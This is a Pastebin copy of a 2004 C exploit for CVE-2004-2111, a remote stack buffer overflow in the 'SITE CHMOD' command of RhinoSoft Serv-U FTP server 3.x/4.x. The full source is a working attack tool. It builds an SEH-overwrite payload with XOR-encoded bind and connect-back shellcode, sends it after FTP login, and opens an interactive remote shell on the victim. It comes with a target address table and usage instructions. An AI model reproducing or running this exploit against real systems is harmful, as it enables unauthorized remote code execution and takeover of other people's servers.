API tools faq
paste
Advertisement
FlyFar

RhinoSoft Serv-U FTPd Server 3.x/4.x - 'SITE CHMOD' Remote Overflow - CVE-2004-2111

FlyFar
Mar 15th, 2024
561
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
C 14.03 KB | Cybersecurity | 0 0
raw download clone embed print report
  1. /*
  2. *-----------------------------------------------------------------------
  3. *
  4. * Servu.c - Serv-U FTPD 3.x/4.x "SITE CHMOD" Command
  5. * Remote stack buffer overflow exploit
  6. *
  7. * Copyright (C) 2004 HUC All Rights Reserved.
  8. *
  9. * Author   : lion
  10. *          : lion@cnhonker.net
  11. *          : http://www.cnhonker.com
  12. * Date     : 2004-01-25
  13. *          : 2004-01-25 v1.0 Can attack Serv-U v3.0.0.20~v4.1.0.11
  14. * Tested   : Windows 2000 Server EN/GB
  15. *          :     + Serv-U v3.0.0.20~v4.1.0.11
  16. * Notice   : *** Bug find by kkqq kkqq@0x557.org ***
  17. *          : *** You need a valid account and a writable directory. ***
  18. * Complie  : cl Servu.c
  19. * Usage    : Servu <-i ip> <-t type> [-u user] [-p pass] [-d dir] [-f ftpport] [-c cbhost] [-s shellport]
  20. *------------------------------------------------------------------------
  21. */
  22.  
  23. #include <winsock2.h>
  24. #include <windows.h>
  25. #include <stdio.h>
  26. #include <stdlib.h>
  27.  
  28. #pragma comment(lib, "ws2_32")
  29.  
  30. // for bind shellcode
  31. #define BIND_OFFSET     91
  32.  
  33. // for connectback shellcode
  34. #define PORT_OFFSET     95
  35. #define IP_OFFSET       88
  36.  
  37. #define SEH_OFFSET      0x193   //v3.0.0.20~v4.1.0.11
  38. //#define   SEH_OFFSET      0x133 // work on v3.0.0.16~v3.0.0.19, for connectback shellcode
  39. #define MAX_LEN         2048
  40. #define JMP_OVER        "\xeb\x06\xeb\x06"
  41. #define VERSION         "1.0"
  42.  
  43. struct
  44. {
  45.     DWORD   dwJMP;
  46.     char    *szDescription;
  47. }targets[] =
  48. {
  49.     {0x7ffa4a1b,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K/XP  ALL"},   //for all GB win2000 and winxp
  50. // {0x74FD69A9,"Serv-U v3.0.0.20~v4.1.0.11  GB     2K     SP3/SP4"},    //wsock32.dll jmp ebx addr
  51. // {0x71a469ad,"Serv-U v3.0.0.20~v4.1.0.11  GB     XP     SP0/SP1"},    //wsock32.dll jmp ebx addr
  52. // {0x77e45f17,"Serv-U v3.0.0.20~v4.1.0.11  GB/BG  2K     SP4"},    //user32.dll jmp ebx addr
  53. // {0x7ffa2186,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K/XP  ALL"},    //for all BG win2000 and winxp 
  54. // {0x6dec6713,"Serv-U v3.0.0.20~v4.1.0.11  BG     2K     SP4"},    //setupapi.dll jmp ebx addr
  55. // {0x6DEE6713,"Serv-U v3.0.0.20~v4.1.0.11  KR     2K     SP4"},    //setupapi.dll jmp ebx addr
  56. // {0x77886713,"Serv-U v3.0.0.20~v4.1.0.11  EN     2K     SP4"},    //setupapi.dll jmp ebx addr
  57. // {0x76b42a3a,"Serv-U v3.0.0.20~v4.1.0.11  EN     XP     SP1"},
  58. // {0x12345678,"Serv-U v3.0.0.20~v4.1.0.11"},        
  59. },v;
  60.  
  61.  
  62. unsigned char   *szSend[4];
  63. unsigned char   szCommand[MAX_LEN];
  64. char        szDirectory[0x100];
  65.  
  66. // 28 bytes decode by lion, don't change this.
  67. unsigned char decode[]=
  68. "\xBE\x6D\x69\x6F\x6E\x4E\xBF\x6D\x69\x30\x6E\x4F\x43\x39\x3B\x75"
  69. "\xFB\x4B\x80\x33\x93\x39\x73\xFC\x75\xF7\xFF\xD3";
  70.  
  71. // Shellcode start sign, use for decode, don't change this.
  72. unsigned char sc_start[]=
  73. "lion";
  74.  
  75. // Shellcode end sign, use for decode, don't change this.
  76. unsigned char sc_end[]=
  77. "li0n";
  78.  
  79. // 311 bytes bind shellcode by lion (xor with 0x93)
  80. unsigned char sc[]=
  81. "\x7A\x96\x92\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
  82. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x36\x93\x93\x93"
  83. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
  84. "\x7B\xF9\x95\xCA\x7B\x1F\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
  85. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
  86. "\xF9\x91\x6C\xC5\x87\x18\x4B\x54\x94\x91\x93\x93\xA6\xA0\x53\x1A"
  87. "\xD4\x97\xF9\x83\xC4\xC0\x6C\xC5\x8B\xF9\x92\xC0\x6C\xC5\x8F\xC3"
  88. "\xC3\xC0\x6C\xC5\xB3\x18\x4B\xA0\x53\xFB\xF0\xFE\xF7\x93\x1A\xF5"
  89. "\xA3\x10\x7F\xC7\x18\x6F\xF9\x87\xCA\x1A\x97\x1C\x71\x68\x55\xD4"
  90. "\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A\xCC\xDB\x1A\xCC\xDF\x1A\xCC"
  91. "\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2\xC2\xF9\x92\xC2\xC2\x6C\xE5"
  92. "\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C\x6C\xA2\x6C\xC5\x9B\xC0\x6C"
  93. "\xC5\xB7\x6C\xC5\x9F\xC2\xC5\x18\xE6\xAF\x18\xE7\xBD\xEB\x90\x66"
  94. "\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA\xD2\x3E\x90\x56\xA0\x48\x9C"
  95. "\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E\x90\x49\xD3\x78\x62\xA8\x8C"
  96. "\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5\x18\x9F\xD8\x18\xCD\x8F\x90"
  97. "\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA\x50\x7B\x65\x6D\x6C\x6C\x1D"
  98. "\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A\x96\x5D\xED\x4B\x71\xE0\x58"
  99. "\x7E\x6F\xA8\x4A\x9A\x66\x3E\x37\x89\xE3\x54\x37\x3E\xBD\x7A\x76"
  100. "\xDA\x15\xDA\x74\xEA\x55\xEA";
  101.  
  102. // 294 bytes connectback shellcode by lion (xor with 0x93)
  103. unsigned char cbsc[]=
  104. "\x7A\x6F\x93\x93\x93\xCC\xF7\x32\xA3\x93\x93\x93\x18\xD3\x9F\x18"
  105. "\xE3\x8F\x3E\x18\xFB\x9B\x18\x64\xF9\x97\xCA\x7B\x0F\x93\x93\x93"
  106. "\x71\x6A\xFB\xA0\xA1\x93\x93\xFB\xE4\xE0\xA1\xCC\xC7\x6C\x85\x18"
  107. "\x7B\xF9\x97\xCA\x7B\x10\x93\x93\x93\x71\x6A\x12\x7F\x03\x92\x93"
  108. "\x93\xC7\xFB\x92\x92\x93\x93\x6C\xC5\x83\xC3\xC3\xC3\xC3\xF9\x92"
  109. "\xF9\x91\x6C\xC5\x87\x18\x4B\xFB\xEC\x93\x93\x92\xFB\x91\x93\x93"
  110. "\xA6\x18\x5F\xF9\x83\xC2\xC0\x6C\xC5\x8B\x16\x53\xE6\xD8\xA0\x53"
  111. "\xFB\xF0\xFE\xF7\x93\x1A\xF5\xA3\x10\x7F\xC7\x18\x6F\xF9\x83\xCA"
  112. "\x1A\x97\x1C\x71\x68\x55\xD4\x83\xD7\x6D\xD4\xAF\x6D\xD4\xAE\x1A"
  113. "\xCC\xDB\x1A\xCC\xDF\x1A\xCC\xC3\x1E\xD7\xB7\x83\xC4\xC3\xC2\xC2"
  114. "\xC2\xF9\x92\xC2\xC2\x6C\xE5\xA3\xC2\x6C\xC5\x97\x18\x5F\xF9\x6C"
  115. "\x6C\xA2\x6C\xC5\x9B\xC0\x6C\xC5\x8F\x6C\xC5\x9F\xC2\xC5\x18\xE6"
  116. "\xAF\x18\xE7\xBD\xEB\x90\x66\xC5\x18\xE5\xB3\x90\x66\xA0\x5A\xDA"
  117. "\xD2\x3E\x90\x56\xA0\x48\x9C\x2D\x83\xA9\x45\xE7\x9B\x52\x58\x9E"
  118. "\x90\x49\xD3\x78\x62\xA8\x8C\xE6\x74\xCD\x18\xCD\xB7\x90\x4E\xF5"
  119. "\x18\x9F\xD8\x18\xCD\x8F\x90\x4E\x18\x97\x18\x90\x56\x38\xCD\xCA"
  120. "\x50\x7B\x6C\x6D\x6C\x6C\x1D\xDD\x9D\x7F\xE1\x6D\x20\x85\x3E\x4A"
  121. "\x96\x5D\xED\x4B\x71\xE0\x58\x7E\x6F\xA8\x4A\x9A\x66\x3E\x7F\x6A"
  122. "\x39\xF3\x74\xEA\x55\xEA";
  123.  
  124. void usage(char *p)
  125. {
  126.     int i;
  127.     printf( "Usage:\t%s\t<-i ip> <-t type>\n"
  128.         "\t\t[-u user] [-p pass] [-d dir]\n"
  129.         "\t\t[-f ftpport] [-c cbhost] [-s shellport]\n\n"
  130.         "[type]:\n" , p);  
  131.     for(i=0;i<sizeof(targets)/sizeof(v);i++)
  132.     {
  133.         printf("\t%d\t0x%x\t%s\n", i, targets[i].dwJMP, targets[i].szDescription);
  134.     }
  135. }
  136.  
  137. /* ripped from TESO code and modifed by ey4s for win32 */
  138. void shell (int sock)
  139. {
  140.     int     l;
  141.     char    buf[512];
  142.     struct  timeval time;
  143.     unsigned long   ul[2];
  144.  
  145.     time.tv_sec = 1;
  146.     time.tv_usec = 0;
  147.  
  148.     while (1)
  149.     {
  150.         ul[0] = 1;
  151.         ul[1] = sock;
  152.  
  153.         l = select (0, (fd_set *)&ul, NULL, NULL, &time);
  154.         if(l == 1)
  155.         {
  156.             l = recv (sock, buf, sizeof (buf), 0);
  157.             if (l <= 0)
  158.             {
  159.                 printf ("[-] Connection closed.\n");
  160.                 return;
  161.             }
  162.             l = write (1, buf, l);
  163.             if (l <= 0)
  164.             {
  165.                 printf ("[-] Connection closed.\n");
  166.                 return;
  167.             }
  168.         }
  169.         else
  170.         {
  171.             l = read (0, buf, sizeof (buf));
  172.             if (l <= 0)
  173.             {
  174.                 printf("[-] Connection closed.\n");
  175.                 return;
  176.             }
  177.             l = send(sock, buf, l, 0);
  178.             if (l <= 0)
  179.             {
  180.                 printf("[-] Connection closed.\n");
  181.                 return;
  182.             }
  183.         }
  184.     }
  185. }
  186.  
  187. void main(int argc, char **argv)
  188. {
  189.     struct  sockaddr_in sa, server, client;
  190.     WSADATA wsd;
  191.     SOCKET  s, s2, s3;
  192.     int iErr, ret, len;
  193.     char    szRecvBuff[MAX_LEN];
  194.     int i, j, iType;
  195.     int iPort=21;
  196.     char    *ip=NULL, *pUser="ftp", *pPass="ftp@ftp.com", *cbHost=NULL;
  197.     char    user[128], pass[128];
  198.     BOOL    bCb=FALSE, bLocal=TRUE;
  199.     unsigned short  shport=53, shport2=0;
  200.     unsigned long   cbip;
  201.     unsigned int    timeout=5000, Reuse;
  202.     char    penetrate[255],cbHost2[20];
  203.     int seh_offset;
  204.    
  205.     printf( "Serv-U FTPD 3.x/4.x \"SITE CHMOD\" remote overflow exploit V%s\r\n"
  206.         "Bug find by kkqq kkqq@0x557.org, Code By lion (lion@cnhonker.net)\r\n"
  207.         "Welcome to HUC website http://www.cnhonker.com\r\n\n"
  208.             , VERSION);
  209.  
  210.     seh_offset = SEH_OFFSET;
  211.    
  212.     if(argc < 4)
  213.     {
  214.         usage(argv[0]);
  215.         return;
  216.     }
  217.  
  218.     for(i=1;i<argc;i+=2)
  219.     {
  220.         if(strlen(argv[i]) != 2)
  221.         {
  222.             usage(argv[0]);
  223.             return;
  224.         }
  225.         // check parameter
  226.         if(i == argc-1)
  227.         {
  228.             usage(argv[0]);
  229.             return;
  230.         }
  231.         switch(argv[i][1])
  232.         {
  233.             case 'i':
  234.                 ip=argv[i+1];
  235.                 break;
  236.             case 't':
  237.                 iType = atoi(argv[i+1]);
  238.                 break;
  239.             case 'f':
  240.                 iPort=atoi(argv[i+1]);
  241.                 break;
  242.             case 'p':
  243.                 pPass = argv[i+1];
  244.                 break;
  245.             case 'u':
  246.                 pUser=argv[i+1];
  247.                 break;
  248.             case 'c':
  249.                 cbHost=argv[i+1];
  250.                 bCb=TRUE;
  251.                 break;
  252.             case 's':
  253.                 shport=atoi(argv[i+1]);
  254.                 break;
  255.             case 'd':
  256.                 if(argv[i+1][0] != '/')
  257.                     strcpy(szDirectory, "/");
  258.                 strncat(szDirectory, argv[i+1], sizeof(szDirectory)-0x20);
  259.                
  260.                 if(szDirectory[strlen(szDirectory)-1] != '/')
  261.                     strcat(szDirectory, "/");
  262.                    
  263.                 // correct the directory len
  264.                 for(j=0;j<(strlen(szDirectory)-1)%8;j++)
  265.                     strcat(szDirectory, "x");
  266.                    
  267.                 //printf("%d:%s\r\n", strlen(szDirectory), szDirectory);
  268.                 seh_offset = seh_offset - strlen(szDirectory)+1;
  269.                 break;
  270.         }
  271.     }
  272.  
  273.     if((!ip) || (!user) || (!pass))
  274.     {
  275.         usage(argv[0]);
  276.         printf("[-] Invalid parameter.\n");
  277.         return;
  278.     }
  279.  
  280.     if( (iType<0) || (iType>=sizeof(targets)/sizeof(v)) )
  281.     {
  282.         usage(argv[0]);
  283.         printf("[-] Invalid type.\n");
  284.         return;
  285.     }
  286.  
  287.     if(iPort <0 || iPort >65535 || shport <0 || shport > 65535)
  288.     {
  289.         usage(argv[0]);
  290.         printf("[-] Invalid port.\n");
  291.         return;
  292.     }
  293.    
  294.     _snprintf(user, sizeof(user)-1, "USER %s\r\n", pUser);
  295.     user[sizeof(user)-1]='\0';
  296.     _snprintf(pass, sizeof(pass)-1, "PASS %s\r\n", pPass);
  297.     pass[sizeof(pass)-1]='\0';
  298.     szSend[0] = user;   //user
  299.     szSend[1] = pass;   //pass 
  300.     szSend[2] = penetrate;  //pentrate
  301.     szSend[3] = szCommand;  //shellcode
  302.    
  303.     // Penetrate through the firewall.
  304.     if(bCb && shport > 1024)
  305.     {
  306.         strncpy(cbHost2, cbHost, 20);
  307.         for(i=0;i<strlen(cbHost); i++)
  308.         {
  309.             if(cbHost[i] == '.')
  310.                 cbHost2[i] = ',';
  311.         }
  312.        
  313.         sprintf(penetrate, "PORT %s,%d,%d\r\n", cbHost2, shport/256, shport%256);
  314.  
  315.         //printf("%s", penetrate);
  316.     }
  317.     else
  318.     {
  319.         sprintf(penetrate,"TYPE I\r\n");       
  320.     }
  321.  
  322.     // fill the "site chmod" command
  323.     strcpy(szCommand, "site chmod 777 ");
  324.    
  325.     // fill the directory
  326.     if(szDirectory[0])
  327.         strcat(szCommand, szDirectory);
  328.  
  329.     // fill the egg
  330.     for(i=0;i<seh_offset%8;i++)
  331.         strcat(szCommand, "\x90");
  332.     //strcat(szCommand, "BBBB");
  333.    
  334.     // fill the seh
  335.     for(i=0;i<=(seh_offset/8)*8+0x20;i+=8)
  336.     {
  337.         strcat(szCommand, JMP_OVER);
  338.         memcpy(&szCommand[strlen(szCommand)], &targets[iType].dwJMP, 4);
  339.     }
  340.        
  341.     // fill the decode
  342.     strcat(szCommand, decode);
  343.  
  344.     // fill the shellcode start sign
  345.     strcat(szCommand, sc_start);
  346.  
  347.     // fill the shellcode
  348.     if(bCb)
  349.     {
  350.         // connectback shellcode
  351.         shport2 = htons(shport)^(u_short)0x9393;
  352.         cbip = inet_addr(cbHost)^0x93939393;
  353.         memcpy(&cbsc[PORT_OFFSET], &shport2, 2);
  354.         memcpy(&cbsc[IP_OFFSET], &cbip, 4);
  355.         strcat(szCommand, cbsc);       
  356.     }
  357.     else
  358.     {
  359.         // bind shellcode
  360.         shport2 = htons(shport)^(u_short)0x9393;
  361.         memcpy(&sc[BIND_OFFSET], &shport2, 2);
  362.         strcat(szCommand, sc);
  363.     }
  364.  
  365.     // fill the shellcode end sign
  366.     strcat(szCommand, sc_end);
  367.  
  368.     // send end
  369.     strcat(szCommand, "\r\n");
  370.  
  371.     if(strlen(szCommand) >= sizeof(szCommand))
  372.     {
  373.         printf("[-] stack buffer overflow.\n");
  374.         return;
  375.     }
  376.    
  377. //  printf("send size %d:%s", strlen(szCommand), szCommand);
  378.    
  379.     __try
  380.     {
  381.         if (WSAStartup(MAKEWORD(1,1), &wsd) != 0)
  382.         {
  383.             printf("[-] WSAStartup error:%d\n", WSAGetLastError());
  384.             __leave;
  385.         }
  386.  
  387.         s=socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
  388.         if(s == INVALID_SOCKET)
  389.         {
  390.             printf("[-] Create socket failed:%d",GetLastError());
  391.             __leave;
  392.         }
  393.  
  394.         sa.sin_family=AF_INET;
  395.         sa.sin_port=htons((USHORT)iPort);
  396.         sa.sin_addr.S_un.S_addr=inet_addr(ip);
  397.  
  398.         setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  399.         iErr = connect(s,(struct sockaddr *)&sa,sizeof(sa));
  400.         if(iErr == SOCKET_ERROR)
  401.         {
  402.             printf("[-] Connect to %s:%d error:%d\n", ip, iPort, GetLastError());
  403.             __leave;
  404.         }
  405.         printf("[+] Connect to %s:%d success.\n", ip, iPort);
  406.        
  407.         if(bCb)
  408.         {
  409.             Sleep(500);
  410.             s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  411.  
  412.             server.sin_family=AF_INET;
  413.             server.sin_addr.S_un.S_addr=inet_addr(cbHost);
  414.             //server.sin_addr.s_addr=INADDR_ANY;
  415.             server.sin_port=htons((unsigned short)shport);
  416.  
  417.             setsockopt(s2,SOL_SOCKET,SO_RCVTIMEO,(char *)&timeout,sizeof(unsigned int));
  418.  
  419.             Reuse = 1;
  420.             setsockopt(s2, SOL_SOCKET, SO_REUSEADDR, (char*)&Reuse, sizeof(Reuse));
  421.  
  422.             if(bind(s2,(LPSOCKADDR)&server,sizeof(server))==SOCKET_ERROR)
  423.             {
  424.                 printf("[-] Bind port on %s:%d error.\n", cbHost, shport);
  425.                 printf("[-] You must run nc get the shell.\n");
  426.                 bLocal = FALSE;
  427.                 //closesocket(s2);
  428.                 //__leave;
  429.             }
  430.             else
  431.             {  
  432.                 printf("[+] Bind port on %s:%d success.\n", cbHost, shport);
  433.                 listen(s2, 1);
  434.             }
  435.         }
  436.        
  437.         for(i=0;i<sizeof(szSend)/sizeof(szSend[0]);i++)
  438.         {
  439.             memset(szRecvBuff, 0, sizeof(szRecvBuff));
  440.             iErr = recv(s, szRecvBuff, sizeof(szRecvBuff), 0);
  441.             if(iErr == SOCKET_ERROR)
  442.             {
  443.                 printf("[-] Recv buffer error:%d.\n", WSAGetLastError());
  444.                 __leave;
  445.             }
  446.             printf("[+] Recv: %s", szRecvBuff);
  447.            
  448.             if(szRecvBuff[0] == '5')
  449.             {
  450.                 printf("[-] Server return a error Message.\r\n");
  451.                 __leave;
  452.             }
  453.  
  454.             iErr = send(s, szSend[i], strlen(szSend[i]),0);
  455.             if(iErr == SOCKET_ERROR)
  456.             {
  457.                 printf("[-] Send buffer error:%d.\n", WSAGetLastError());
  458.                 __leave;
  459.             }
  460.  
  461.             if(i==sizeof(szSend)/sizeof(szSend[0])-1)
  462.                 printf("[+] Send shellcode %d bytes.\n", iErr);
  463.             else
  464.                 printf("[+] Send: %s", szSend[i]);
  465.         }
  466.  
  467.         printf("[+] If you don't have a shell it didn't work.\n");
  468.  
  469.         if(bCb)
  470.         {
  471.             if(bLocal)
  472.             {
  473.                 printf("[+] Wait for shell...\n");
  474.            
  475.                 len = sizeof(client);
  476.                 s3 = accept(s2, (struct sockaddr*)&client, &len);
  477.                 if(s3 != INVALID_SOCKET)
  478.                 {
  479.     printf("[+] Exploit success! Good luck! :)\n");
  480.     printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  481.                     shell(s3);
  482.                 }
  483.             }  
  484.         }
  485.         else
  486.         {
  487.             printf("[+] Connect to shell...\n");
  488.            
  489.             Sleep(1000);
  490.             s2 = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  491.             server.sin_family = AF_INET;
  492.             server.sin_port = htons(shport);
  493.             server.sin_addr.s_addr=inet_addr(ip);
  494.  
  495.             ret = connect(s2, (struct sockaddr *)&server, sizeof(server));
  496.             if(ret!=0)
  497.             {
  498.                 printf("[-] Exploit seem failed.\n");
  499.                 __leave;
  500.             }
  501.            
  502.     printf("[+] Exploit success! Good luck! :)\n");
  503.     printf("[+] ===--===--===--===--===--===--===--===--===--===--===--===--===--===\n");
  504.             shell(s2);
  505.         }
  506.        
  507.        
  508.     }
  509.  
  510.     __finally
  511.     {
  512.         if(s != INVALID_SOCKET) closesocket(s);
  513.         if(s2 != INVALID_SOCKET) closesocket(s2);
  514.         if(s3 != INVALID_SOCKET) closesocket(s3);
  515.         WSACleanup();
  516.     }
  517.  
  518.     return;
  519. }
  520.  
  521. // milw0rm.com [2004-01-27]
  522.            
Tags: Exploit CVE Vulnerability RhinoSoft Serv-U FTPd remote overflow
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!